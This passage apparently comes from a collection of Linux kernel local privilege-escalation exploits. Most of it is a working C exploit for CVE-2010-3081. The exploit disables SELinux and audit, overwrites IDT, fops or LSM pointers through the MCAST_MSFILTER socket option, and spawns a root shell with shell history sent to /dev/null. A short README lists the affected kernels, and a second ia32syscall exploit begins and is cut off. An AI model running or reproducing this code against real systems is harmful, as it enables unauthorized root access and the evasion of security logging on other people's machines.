0xffffffff8049e124ULL,
|
||||
|
||||
"2.6.18-164.11.1.el5",
|
||||
"#1 SMP Wed Jan 6 13:26:04 EST 2010"
|
||||
},
|
||||
{
|
||||
0xffffffff805296a0ULL,
|
||||
0xffffffff8052af60ULL,
|
||||
0xffffffff806db1e0ULL,
|
||||
|
||||
0xffffffff806ddf40ULL,
|
||||
0xffffffff806d5324ULL,
|
||||
|
||||
"2.6.18-164.11.1.el5xen",
|
||||
"#1 SMP Wed Jan 20 08:06:04 EST 2010" // default xen
|
||||
},
|
||||
{
|
||||
0xffffffff8031f600ULL,// d selinux_ops
|
||||
0xffffffff80320ec0ULL,// d capability_ops
|
||||
0xffffffff804afc00ULL,// B dummy_security_ops
|
||||
|
||||
0xffffffff804b2960ULL,// B selinux_enforcing
|
||||
0xffffffff8049e124ULL,// B audit_enabled
|
||||
|
||||
"2.6.18-164.11.1.el5",
|
||||
"#1 SMP Wed Jan 20 07:32:21 EST 2010" // tripwire target LoL
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
static struct LSM_rhel *curr_target=NULL, dyn4nt4n1labeggeyrthryt;
|
||||
|
||||
struct socketcallAT
|
||||
{
|
||||
int s;
|
||||
int level;
|
||||
int optname;
|
||||
void *optval;
|
||||
volatile socklen_t *optlen;
|
||||
}__attribute__((packed));
|
||||
|
||||
struct idt64from32_s
|
||||
{
|
||||
unsigned short limit;
|
||||
unsigned long base;
|
||||
}__attribute__((packed));
|
||||
|
||||
static __yyrhdgdtfs66ytgetrfd getidt()
|
||||
{
|
||||
struct idt64from32_s idt;
|
||||
memset(&idt, 0x00, sizeof(struct idt64from32_s));
|
||||
asm volatile("sidt %0" : "=m"(idt));
|
||||
return idt.base | 0xFFFFFFFF00000000ULL;
|
||||
}
|
||||
|
||||
|
||||
static int isSelinuxEnabled()
|
||||
{
|
||||
FILE *selinux_f;
|
||||
selinux_f = fopen(SELINUX_PATH, "r");
|
||||
if(selinux_f == NULL)
|
||||
{
|
||||
if(errno == EPERM)
|
||||
return 1;
|
||||
else
|
||||
return 0;
|
||||
}
|
||||
|
||||
fclose(selinux_f);
|
||||
return 1;
|
||||
}
|
||||
|
||||
static int wtfyourunhere_heee(char *out_release, char* out_version)
|
||||
{
|
||||
int ret; const char*ptr;
|
||||
int count=0;
|
||||
char r[32], *bptr;
|
||||
struct utsname buf;
|
||||
ret = uname(&buf);
|
||||
|
||||
if(ret < 0)
|
||||
return -1;
|
||||
|
||||
strcpy(out_release, buf.release);
|
||||
strcpy(out_version, buf.version);
|
||||
|
||||
ptr = buf.release;
|
||||
bptr = r;
|
||||
memset(r, 0x00, sizeof(r));
|
||||
while(*ptr)
|
||||
{
|
||||
if(count == 2)
|
||||
{
|
||||
if(*ptr >= '0' && *ptr <= '9')
|
||||
*bptr++ = *ptr;
|
||||
else
|
||||
break;
|
||||
}
|
||||
|
||||
if(*ptr == '.')
|
||||
count++;
|
||||
ptr++;
|
||||
}
|
||||
|
||||
if(strlen(r) < 1 || !atoi(r))
|
||||
return -1;
|
||||
|
||||
return atoi(r);
|
||||
}
|
||||
|
||||
|
||||
static void p4tch_sel1nux_codztegfaddczda(struct LSM_rhel *table)
|
||||
{
|
||||
*((__yyrhdgdtfs66ytgetrfd *)(dis4blens4sel1nuxhayettgdr64545 + CJE_4554TFFDTRMAJHD_OFF)) = table->selinux_enforcing;
|
||||
*((__yyrhdgdtfs66ytgetrfd *)(dis4blens4sel1nuxhayettgdr64545 + RJMPDDTGR_AYYYDGTREFCCV7761_OF)) = table->audit_enabled;
|
||||
__dhdyetgdfstreg__(ttrfd0 + RJMPDDTGR_GDTDGTSFRDFT, dis4blens4sel1nuxhayettgdr64545, sizeof(dis4blens4sel1nuxhayettgdr64545)-1);
|
||||
__dhdyetgdfstreg__(ruujhdbgatrfe345 + RJMPDDTGR_DHDYSGTSFDRTAC_SE, dis4blens4sel1nuxhayettgdr64545, sizeof(dis4blens4sel1nuxhayettgdr64545)-1);
|
||||
}
|
||||
|
||||
|
||||
static __yyrhdgdtfs66ytgetrfd get_sym_ex(const char* s, const char* filename, int ignore_flag)
|
||||
{
|
||||
FILE *ka;
|
||||
char line[512];
|
||||
char reloc_a[64];
|
||||
char reloc[64];
|
||||
|
||||
if(!(flags & KERN_HHSYPPLORQTWGFD) && !ignore_flag)
|
||||
return 0;
|
||||
|
||||
ka = fopen(filename, "r");
|
||||
if(!ka)
|
||||
return 0;
|
||||
|
||||
while(fgets(line, 512, ka) != NULL)
|
||||
{
|
||||
char *l_p = line;
|
||||
char *ra_p = reloc_a;
|
||||
char *r_p = reloc;
|
||||
memset(reloc, 0x00, sizeof(reloc));
|
||||
memset(reloc_a, 0x00, sizeof(reloc_a));
|
||||
while(*l_p != ' ' && (ra_p - reloc_a) < 64)
|
||||
*ra_p++ = *l_p++;
|
||||
l_p += 3;
|
||||
while(*l_p != ' ' && *l_p != '\n' && *l_p != '\t' && (r_p - reloc) < 64)
|
||||
*r_p++ = *l_p++;
|
||||
|
||||
if(!strcmp(reloc, s))
|
||||
{
|
||||
__gggdfstsgdt_dddex("$$$ %s->%s\n", s, reloc_a);
|
||||
return strtoull(reloc_a, NULL, 16);
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
static inline __yyrhdgdtfs66ytgetrfd get_sym(const char* s)
|
||||
{
|
||||
return get_sym_ex(s, KALLSYMS, 0);
|
||||
}
|
||||
|
||||
static int parse_cred(const char* val)
|
||||
{
|
||||
int i=0;
|
||||
const char* p = val;
|
||||
char local[64], *l;
|
||||
for(i=0; i<3; i++)
|
||||
{
|
||||
memset(local, 0x00, sizeof(local));
|
||||
l = local;
|
||||
while(*p && *p != ',')
|
||||
*l++ = *p++;
|
||||
|
||||
if(!(*p) && i != 2)
|
||||
return -1;
|
||||
|
||||
_m_cred[i] = strtoull(local, NULL, 16);
|
||||
p++;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
#define SELINUX_OPS "selinux_ops"
|
||||
#define DUMMY_SECURITY_OPS "dummy_security_ops"
|
||||
#define CAPABILITY_OPS "capability_ops"
|
||||
#define SELINUX_ENFORCING "selinux_enforcing"
|
||||
#define AUDIT_ENABLED "audit_enabled"
|
||||
|
||||
struct LSM_rhel *lsm_rhel_find_target(int check_rhel)
|
||||
{
|
||||
int i;
|
||||
char mapbuf[128];
|
||||
struct LSM_rhel *lsm = &(known_targets[0]);
|
||||
|
||||
if(check_rhel && !isRHHGDPPLADSF(krelease))
|
||||
{
|
||||
__pppp_tegddewyfg("!!! N0t a RH3l k3rn3l \n");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
__pppp_tegddewyfg("$$$ L00k1ng f0r kn0wn t4rg3tz.. \n");
|
||||
for(i=0; i<sizeof(known_targets)/sizeof(struct LSM_rhel); i++, lsm++)
|
||||
{
|
||||
if(!strcmp(krelease, lsm->krelease) && !strcmp(kversion, lsm->kversion))
|
||||
{
|
||||
__gggdfstsgdt_dddex("$$$ Th1z b1tch 1z t0azt. kn0wn t4rg3t: %s %s \n", lsm->krelease, lsm->kversion);
|
||||
return lsm;
|
||||
}
|
||||
}
|
||||
|
||||
__pppp_tegddewyfg("$$$ c0mput3r 1z aqu1r1ng n3w t4rg3t...\n");
|
||||
strcpy(mapbuf, "/boot/System.map-");
|
||||
strcat(mapbuf, krelease);
|
||||
|
||||
dyn4nt4n1labeggeyrthryt.selinux_ops = get_sym_ex(SELINUX_OPS, mapbuf, 1);
|
||||
dyn4nt4n1labeggeyrthryt.dummy_security_ops = get_sym_ex(DUMMY_SECURITY_OPS, mapbuf, 1);
|
||||
dyn4nt4n1labeggeyrthryt.capability_ops = get_sym_ex(CAPABILITY_OPS, mapbuf, 1);
|
||||
dyn4nt4n1labeggeyrthryt.selinux_enforcing = get_sym_ex(SELINUX_ENFORCING, mapbuf, 1);
|
||||
dyn4nt4n1labeggeyrthryt.audit_enabled = get_sym_ex(AUDIT_ENABLED, mapbuf, 1);
|
||||
|
||||
|
||||
if(!dyn4nt4n1labeggeyrthryt.selinux_ops ||
|
||||
!dyn4nt4n1labeggeyrthryt.dummy_security_ops ||
|
||||
!dyn4nt4n1labeggeyrthryt.capability_ops ||
|
||||
!dyn4nt4n1labeggeyrthryt.selinux_enforcing ||
|
||||
!dyn4nt4n1labeggeyrthryt.audit_enabled)
|
||||
return NULL;
|
||||
|
||||
|
||||
return &dyn4nt4n1labeggeyrthryt;
|
||||
}
|
||||
|
||||
static void put_your_hands_up_hooker(int argc, char *argv[])
|
||||
{
|
||||
int fd,ver,ret;
|
||||
char __b[16];
|
||||
|
||||
|
||||
fd = open(KALLSYMS, O_RDONLY);
|
||||
ret = read(fd, __b, 16); // dummy read
|
||||
if((fd >= 0 && ret > 0))
|
||||
{
|
||||
__pppp_tegddewyfg("$$$ Kallsyms +r\t\n"); // d0nt p4tch m3 br0
|
||||
flags |= KERN_HHSYPPLORQTWGFD;
|
||||
}
|
||||
close(fd);
|
||||
|
||||
ver = wtfyourunhere_heee(krelease, kversion);
|
||||
if(ver < 0)
|
||||
__yyy_tegdtfsrer("!!! Un4bl3 t0 g3t r3l3as3 wh4t th3 fuq!\n");
|
||||
|
||||
__gggdfstsgdt_dddex("$$$ K3rn3l r3l3as3: %s\n", krelease);
|
||||
|
||||
|
||||
if(argc != 1)
|
||||
{
|
||||
while( (ret = getopt(argc, argv, "siflc:k:o:")) > 0)
|
||||
{
|
||||
switch(ret)
|
||||
{
|
||||
case 'i':
|
||||
flags |= KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM|KERN_DIS_DGDGHHYTTFSR34353_FOPS;
|
||||
useidt=1; // u have to use -i to force IDT Vector
|
||||
break;
|
||||
|
||||
case 'f':
|
||||
flags |= KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM|KERN_DIS_GGDYYTDFFACVFD_IDT;
|
||||
break;
|
||||
|
||||
case 'l':
|
||||
flags |= KERN_DIS_GGDYYTDFFACVFD_IDT|KERN_DIS_DGDGHHYTTFSR34353_FOPS;
|
||||
break;
|
||||
|
||||
case 'c':
|
||||
if(!optarg || parse_cred(optarg) < 0)
|
||||
__yyy_tegdtfsrer("!!! Un4bl3 t0 p4s3 cr3d c0d3z\n");
|
||||
break;
|
||||
|
||||
case 'k':
|
||||
if(optarg)
|
||||
_m_fops = strtoull(optarg, NULL, 16);
|
||||
else
|
||||
__yyy_tegdtfsrer("!!! Un4bl3 t0 p4rs3 f0P numb3rs\n");
|
||||
break;
|
||||
|
||||
case 's':
|
||||
if(!isSelinuxEnabled())
|
||||
__pppp_tegddewyfg("??? wh4t th3 fuq s3l1nux 1z n0t 3v3n 3n4bl3d!?\n");
|
||||
else
|
||||
flags |= KERN_DIS_GGSTEYGDTREFRET_SEL1NUX;
|
||||
break;
|
||||
|
||||
case 'o':
|
||||
if(optarg)
|
||||
_m_cpu_off = strtoull(optarg, NULL, 16);
|
||||
else
|
||||
__yyy_tegdtfsrer("!!! Un4bl3 t0 p4rs3 f0p c0mput3r numb3rs\n");
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if(ver >= 29) // needs cred structure
|
||||
{
|
||||
flags |= KERN_DGGDYDTEGGETFDRLAK;
|
||||
|
||||
if(!_m_cred[0] || !_m_cred[1] || !_m_cred[2])
|
||||
{
|
||||
_m_cred[0] = get_sym(PREPARE_GGDTSGFSRFSD);
|
||||
_m_cred[1] = get_sym(OVERRIDE_GGDTSGFSRFSD);
|
||||
_m_cred[2] = get_sym(REVERT_DHDGTRRTEFDTD);
|
||||
}
|
||||
|
||||
if(!_m_cred[0] || !_m_cred[1] || !_m_cred[2])
|
||||
{
|
||||
__yyy_tegdtfsrer("!!! Err0r 1n s3tt1ng cr3d sh3llc0d3z\n");
|
||||
}
|
||||
|
||||
__pppp_tegddewyfg("$$$ Kernel Credentials detected\n");
|
||||
*((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0YTTTTUHLFSTT_OFF1)) = _m_cred[0];
|
||||
*((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0YGGSFDARTDF_DHDYTEGRDFD_D)) = _m_cred[1];
|
||||
*((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0TDGFSRSLLSJ_SHSYSTGD)) = _m_cred[2];
|
||||
}
|
||||
|
||||
if(ver >= 30) // needs cpu offset
|
||||
{
|
||||
flags |= KERN_DHHDYTMLADSFPYT;
|
||||
if(!_m_cpu_off)
|
||||
_m_cpu_off = (__dgdhdytrg55)get_sym(PER_C_DHHDYDGTREM7765);
|
||||
|
||||
if(!_m_cpu_off)
|
||||
__yyy_tegdtfsrer("!!! Err0r 1n s3tt1ng cr3d sh3llc0d3z\n");
|
||||
|
||||
__pppp_tegddewyfg("$$$ K3rn3l per_cpu r3l0cs 3n4bl3d!\t\n");
|
||||
*((__dgdhdytrg55 *)(ttrfd0 + RJMPDDTGR_DHDYTGSCAVSF)) = _m_cpu_off;
|
||||
*((__dgdhdytrg55 *)(ruujhdbgatrfe345 + RJMPDDTGR_DYHHTSFDARE)) = _m_cpu_off;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
static void env_prepare(int argc, char* argv[])
|
||||
{
|
||||
|
||||
put_your_hands_up_hooker(argc, argv);
|
||||
|
||||
if(!(flags & KERN_DIS_DGDGHHYTTFSR34353_FOPS)) // try fops
|
||||
{
|
||||
__pppp_tegddewyfg("??? Trying the F0PPPPPPPPPPPPPPPPpppppppppp_____ m3th34d\n");
|
||||
if(!_m_fops)
|
||||
_m_fops = get_sym(RW_FOPS);
|
||||
|
||||
/* TODO: do RW check for newer -mm kernels which has timer_list_struct RO
|
||||
* Thanks to the guy who killed this vector... you know who you are:)
|
||||
* Lucky for you, there are more:)
|
||||
*/
|
||||
|
||||
if(_m_fops)
|
||||
{
|
||||
usefops=1;
|
||||
__pppp_tegddewyfg("$$$ w34p0n 0f ch01c3: F0PZzZzzz\n");
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if(!usefops && !(flags & KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM)) // try lsm(rhel)
|
||||
{
|
||||
curr_target = lsm_rhel_find_target(1);
|
||||
if(!curr_target)
|
||||
{
|
||||
__pppp_tegddewyfg("!!! u4bl3 t0 f1nd t4rg3t!? W3'll s33 ab0ut th4t!\n");
|
||||
}
|
||||
else
|
||||
uselsm=1;
|
||||
}
|
||||
|
||||
|
||||
if(useidt && (flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX))
|
||||
{
|
||||
// -i flag
|
||||
curr_target = lsm_rhel_find_target(0);
|
||||
if(!curr_target)
|
||||
{
|
||||
__pppp_tegddewyfg("!!! Un4lb3 t0 f1nd t4rg3t: c0ntinu3 w1th0ut s3linsux d1s4bl3.\n");
|
||||
/* remove Selinux Flag */
|
||||
flags &= ~KERN_DIS_GGSTEYGDTREFRET_SEL1NUX;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if(!usefops && !useidt && !uselsm)
|
||||
__yyy_tegdtfsrer("!!! 3v3ryth3ng f41l3d!!*@&^@&*^ () * try an0th3r 0d4y L0l\n");
|
||||
}
|
||||
|
||||
|
||||
static inline int get_socklen(__yyrhdgdtfs66ytgetrfd addr, __dgdhdytrg55 stack)
|
||||
{
|
||||
int socklen_l = 8 + stack - addr - 16;
|
||||
return socklen_l;
|
||||
}
|
||||
|
||||
static struct socketcallAT at;
|
||||
static __dgdhdytrg55 idtover[4] =
|
||||
{0x00100000UL,
|
||||
0x0020ee00UL,
|
||||
0x00000000UL,
|
||||
0x00000000UL};
|
||||
|
||||
|
||||
static void fillsocketcallAT()
|
||||
{
|
||||
at.s = s;
|
||||
at.level = SOL_IP;
|
||||
at.optname = MCAST_MSFILTER;
|
||||
at.optval = buffer;
|
||||
at.optlen = &magiclen;
|
||||
}
|
||||
|
||||
|
||||
static void bitch_call(struct socketcallAT *at, void *stack)
|
||||
{
|
||||
asm volatile(
|
||||
"push %%ebx\t\n"
|
||||
"push %%esi\t\n"
|
||||
"push %%ecx\t\n"
|
||||
"push %%edx\t\n"
|
||||
"movl $0x66, %%eax\t\n"
|
||||
"movl $0xf, %%ebx\t\n"
|
||||
"movl %%esp, %%esi\t\n"
|
||||
"movl %0, %%ecx\t\n"
|
||||
"movl %1, %%esp\t\n"
|
||||
"int $0x80\t\n"
|
||||
"movl %%esi, %%esp\t\n"
|
||||
"pop %%edx\t\n"
|
||||
"pop %%ecx\t\n"
|
||||
"pop %%esi\t\n"
|
||||
"pop %%ebx\t\n"
|
||||
: : "r"(at), "r"(stack) : "memory", "eax", "ecx", "ebx", "esi"
|
||||
);
|
||||
}
|
||||
|
||||
static void __setmcbuffer(__dgdhdytrg55 value)
|
||||
{
|
||||
int i;
|
||||
__dgdhdytrg55 *p = (__dgdhdytrg55*)buffer;
|
||||
for(i=0; i<sizeof(buffer)/sizeof(void*); i++)
|
||||
*(p+i) = value;
|
||||
}
|
||||
|
||||
static void idt_smash(__yyrhdgdtfs66ytgetrfd idtbase)
|
||||
{
|
||||
int i;
|
||||
__dgdhdytrg55 curr;
|
||||
for(i=0; i<sizeof(idtover)/sizeof(idtover[0]);i++)
|
||||
{
|
||||
curr = idtover[i];
|
||||
__setmcbuffer(curr);
|
||||
magiclen = get_socklen(idtbase + (i*4), Y0Y0STOP);
|
||||
bitch_call(&at, (void*)Y0Y0STOP);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
static void y0y0stack()
|
||||
{
|
||||
void* map = mmap((void*)Y0Y0SMAP,
|
||||
PAGE_SIZE,
|
||||
PROT_READ|PROT_WRITE,
|
||||
MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,
|
||||
-1,0);
|
||||
if(MAP_FAILED == map)
|
||||
__xxxfdgftr_hshsgdt("mmap");
|
||||
}
|
||||
|
||||
static void y0y0code()
|
||||
{
|
||||
void* map = mmap((void*)Y0Y0CMAP,
|
||||
PAGE_SIZE,
|
||||
|
||||
#ifdef TRY_REMAP_DEFAULT
|
||||
PROT_READ|PROT_WRITE,
|
||||
#else
|
||||
PROT_READ|PROT_WRITE|PROT_EXEC,
|
||||
#endif
|
||||
MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,
|
||||
-1,0);
|
||||
if(MAP_FAILED == map)
|
||||
__xxxfdgftr_hshsgdt("mmap");
|
||||
|
||||
}
|
||||
|
||||
|
||||
static int rey0y0code(unsigned long old)
|
||||
{
|
||||
int fd;
|
||||
void *map;
|
||||
volatile char wizard;
|
||||
char cwd[1024];
|
||||
|
||||
getcwd(cwd, sizeof(cwd));
|
||||
strcat(cwd, "/__tmpfile");
|
||||
|
||||
unlink(cwd);
|
||||
fd = open(cwd, O_RDWR|O_CREAT, S_IRWXU);
|
||||
if(fd < 0)
|
||||
return -1;
|
||||
|
||||
write(fd, (const void*)old, PAGE_SIZE);
|
||||
if(munmap((void*)old, PAGE_SIZE) < 0)
|
||||
return -1;
|
||||
|
||||
map = mmap((void*)old,
|
||||
PAGE_SIZE,
|
||||
PROT_READ|PROT_EXEC,
|
||||
MAP_PRIVATE|MAP_FIXED,
|
||||
fd,0);
|
||||
if(map == MAP_FAILED)
|
||||
return -1;
|
||||
|
||||
/* avoid lazy page fault handler
|
||||
* Triple Fault when using idt vector
|
||||
* and no pages are already mapped:)
|
||||
*/
|
||||
|
||||
wizard = *((char*)old);
|
||||
unlink(cwd);
|
||||
return wizard;
|
||||
}
|
||||
|
||||
|
||||
int main(int argc, char*argv[])
|
||||
{
|
||||
int uid,fd;
|
||||
__yyrhdgdtfs66ytgetrfd *patch, idtb;
|
||||
struct pollfd pfd;
|
||||
|
||||
|
||||
printf(BANNER);
|
||||
|
||||
uid = getuid();
|
||||
|
||||
env_prepare(argc, argv);
|
||||
|
||||
y0y0stack();
|
||||
y0y0code();
|
||||
|
||||
if(useidt)
|
||||
{
|
||||
idtb = getidt();
|
||||
__gggdfstsgdt_dddex("$$$ h0m3 b4s3 addr3ss: %llx\n", idtb);
|
||||
__pppp_tegddewyfg("$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - IDT m3th34d\n");
|
||||
patch = (__yyrhdgdtfs66ytgetrfd*)(ruujhdbgatrfe345 + RJMPDDTGR_OFF_IDT);
|
||||
*patch = (__yyrhdgdtfs66ytgetrfd)(J0J0R00T);
|
||||
|
||||
__pppp_tegddewyfg("$$$ Prepare: m0rn1ng w0rk0ut b1tch3z\n");
|
||||
|
||||
if(flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX)
|
||||
{
|
||||
__pppp_tegddewyfg("$$$ add1ng sp3c14l c0de t0 rem0v3 s3linux t3rr0r1zt thr34t\n");
|
||||
p4tch_sel1nux_codztegfaddczda(curr_target);
|
||||
}
|
||||
|
||||
__dhdyetgdfstreg__((void*)J0J0S, ruujhdbgatrfe345, sizeof(ruujhdbgatrfe345));
|
||||
}
|
||||
else if(usefops || uselsm)
|
||||
{
|
||||
__pppp_tegddewyfg("$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - F0PZzzZzZZ/LSD(M) m3th34d\n");
|
||||
patch = (__yyrhdgdtfs66ytgetrfd*)(ttrfd0 + RJMPDDTGR_OFF);
|
||||
*patch = (__yyrhdgdtfs66ytgetrfd)(J0J0R00T);
|
||||
|
||||
__setmcbuffer(J0J0S);
|
||||
|
||||
__pppp_tegddewyfg("$$$ Prepare: m0rn1ng w0rk0ut b1tch3z\n");
|
||||
if(uselsm && (flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX))
|
||||
{
|
||||
__pppp_tegddewyfg("$$$ add1ng sp3c14l c0de t0 rem0v3 s3linux t3rr0r1zt thr34t\n");
|
||||
p4tch_sel1nux_codztegfaddczda(curr_target);
|
||||
}
|
||||
__dhdyetgdfstreg__((void*)J0J0S, ttrfd0, sizeof(ttrfd0));
|
||||
}
|
||||
|
||||
|
||||
|
||||
/* set shellcode level 2 */
|
||||
if(flags & KERN_DGGDYDTEGGETFDRLAK)
|
||||
{
|
||||
__pppp_tegddewyfg("$$$ Us1ng cr3d s3ash3llc0d3z\n");
|
||||
__dhdyetgdfstreg__((void*)J0J0R00T, r1ngrrrrrrr, sizeof(r1ngrrrrrrr));
|
||||
}
|
||||
else
|
||||
{
|
||||
__pppp_tegddewyfg("$$$ Us1ng st4nd4rd s3ash3llz\n");
|
||||
__dhdyetgdfstreg__((void*)J0J0R00T, ttrg0ccc, sizeof(ttrg0ccc));
|
||||
*((unsigned int*)(J0J0R00T + R0C_0FF)) = uid;
|
||||
}
|
||||
|
||||
__pppp_tegddewyfg("$$$ 0p3n1ng th3 m4giq p0rt4l\n");
|
||||
s = socket(AF_INET, SOCK_DGRAM, 0);
|
||||
if(s < 0)
|
||||
__xxxfdgftr_hshsgdt("socket");
|
||||
|
||||
fillsocketcallAT();
|
||||
|
||||
|
||||
#ifdef TRY_REMAP_DEFAULT
|
||||
if(rey0y0code(Y0Y0CMAP) < 0)
|
||||
__yyy_tegdtfsrer("!!! Un4bl3 t0 r3m4p sh1t\t\n");
|
||||
#endif
|
||||
|
||||
if(useidt)
|
||||
{
|
||||
|
||||
__yyrhdgdtfs66ytgetrfd idtentry = idtb + (2*sizeof(__yyrhdgdtfs66ytgetrfd)*0xdd);
|
||||
__gggdfstsgdt_dddex("$$$ Us1ng 1dt 3ntry: %d\n", 0xdd);
|
||||
idt_smash((idtentry));
|
||||
|
||||
sleep(1);
|
||||
asm volatile("int $0xdd\t\n");
|
||||
}
|
||||
else if(usefops)
|
||||
{
|
||||
magiclen = get_socklen(_m_fops, Y0Y0STOP);
|
||||
magiclen -= 7*sizeof(__yyrhdgdtfs66ytgetrfd);
|
||||
__gggdfstsgdt_dddex("$$$ m4q1c p0rt4l l3n f0und: 0x%x\n", magiclen);
|
||||
|
||||
__pppp_tegddewyfg("$$$ 0v3r thr0w f0ps g0v3rnm3nt\n");
|
||||
bitch_call(&at, (void*)Y0Y0STOP);
|
||||
sleep(1);
|
||||
|
||||
fd = open(TMAGIC_66TDFDRTS, O_RDONLY);
|
||||
if(fd < 0)
|
||||
__xxxfdgftr_hshsgdt("!!! fuq t1m3r_l1st");
|
||||
|
||||
pfd.fd = fd;
|
||||
pfd.events = POLLIN | POLLOUT;
|
||||
poll(&pfd, 1, 0);
|
||||
}
|
||||
else if(uselsm)
|
||||
{
|
||||
int msqid;
|
||||
__yyrhdgdtfs66ytgetrfd selinux_msg_off = curr_target->selinux_ops + (8*RHEL_LSM_OFF);
|
||||
__yyrhdgdtfs66ytgetrfd dummy_msg_off = curr_target->dummy_security_ops + (8*RHEL_LSM_OFF);
|
||||
__yyrhdgdtfs66ytgetrfd capability_msg_off = curr_target->capability_ops + (8*RHEL_LSM_OFF);
|
||||
|
||||
|
||||
msqid = msgget(0, IPC_PRIVATE|0600);
|
||||
if(msqid < 0)
|
||||
__xxxfdgftr_hshsgdt("!!! fuqqqqqq msgg3t");
|
||||
|
||||
|
||||
magiclen = get_socklen(selinux_msg_off, Y0Y0STOP);
|
||||
__setmcbuffer(J0J0S);
|
||||
bitch_call(&at, (void*)Y0Y0STOP);
|
||||
magiclen = get_socklen(selinux_msg_off+4, Y0Y0STOP);
|
||||
__setmcbuffer(0);
|
||||
bitch_call(&at, (void*)Y0Y0STOP);
|
||||
|
||||
|
||||
magiclen = get_socklen(dummy_msg_off, Y0Y0STOP);
|
||||
__setmcbuffer(J0J0S);
|
||||
bitch_call(&at, (void*)Y0Y0STOP);
|
||||
magiclen = get_socklen(dummy_msg_off+4, Y0Y0STOP);
|
||||
__setmcbuffer(0);
|
||||
bitch_call(&at, (void*)Y0Y0STOP);
|
||||
|
||||
|
||||
magiclen = get_socklen(capability_msg_off, Y0Y0STOP);
|
||||
__setmcbuffer(J0J0S);
|
||||
bitch_call(&at, (void*)Y0Y0STOP);
|
||||
magiclen = get_socklen(capability_msg_off+4, Y0Y0STOP);
|
||||
__setmcbuffer(0);
|
||||
bitch_call(&at, (void*)Y0Y0STOP);
|
||||
|
||||
|
||||
msgctl(msqid, IPC_RMID, (struct msqid_ds *) NULL); // exploit it
|
||||
}
|
||||
|
||||
munmap((void*)Y0Y0CMAP, PAGE_SIZE);
|
||||
|
||||
/* exec */
|
||||
if(getuid() == 0)
|
||||
{
|
||||
pid_t pid;
|
||||
__pppp_tegddewyfg("$$$ bl1ng bl1ng n1gg4 :PppPpPPpPPPpP\n");
|
||||
pid = fork();
|
||||
if(pid == 0)
|
||||
{
|
||||
char *args[] = {"/bin/sh", "-i", NULL};
|
||||
char *envp[] = {"TERM=linux", "BASH_HISTORY=/dev/null", "HISTORY=/dev/null", "history=/dev/null", "HISTFILE=/dev/null", "HISTFILESIZE=0",
|
||||
"PATH=/bin:/sbin:/usr/sbin:/usr/bin:/usr/local/bin:/usr/local/sbin", NULL };
|
||||
execve("/bin/sh", args, envp);
|
||||
}
|
||||
else
|
||||
{
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
}
|
||||
}
|
||||
else
|
||||
__pppp_tegddewyfg("!!! y0u fuq1ng f41l. g3t th3 fuq 0ut!\n");
|
||||
|
||||
close(s);
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif // -m32
|
||||
|
|
@ -0,0 +1,17 @@
|
|||
# CVE-2010-3081
|
||||
|
||||
CVE-2010-3081
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2010-3081](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-3081)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/15024/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,194 @@
|
|||
/*
|
||||
* exploit for x86_64 linux kernel ia32syscall emulation (again)
|
||||
* rediscovered by ben hawkes
|
||||
* with help from robert swiecki and tavis ormandy
|
||||
*
|
||||
* original vulnerability discovered by Wojciech Purczynski
|
||||
*
|
||||
* original exploit by
|
||||
* Robert Swiecki <robert_at_swiecki.net>
|
||||
* Przemyslaw Frasunek <venglin_at_freebsd.lublin.pl>
|
||||
* Pawel Pisarczyk <pawel_at_immos.com.pl>
|
||||
*
|
||||
* kernel priv escalation code borrowed from spender
|
||||
*
|
||||
*/
|
||||
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/ptrace.h>
|
||||
#include <inttypes.h>
|
||||
#include <sys/reg.h>
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
_commit_creds commit_creds;
|
||||
_prepare_kernel_cred prepare_kernel_cred;
|
||||
|
||||
int kernelmodecode(void *file, void *vma)
|
||||
{
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
return -1;
|
||||
}
|
||||
|
||||
unsigned long
|
||||
get_symbol(char *name)
|
||||
{
|
||||
FILE *f;
|
||||
unsigned long addr;
|
||||
char dummy;
|
||||
char sname[512];
|
||||
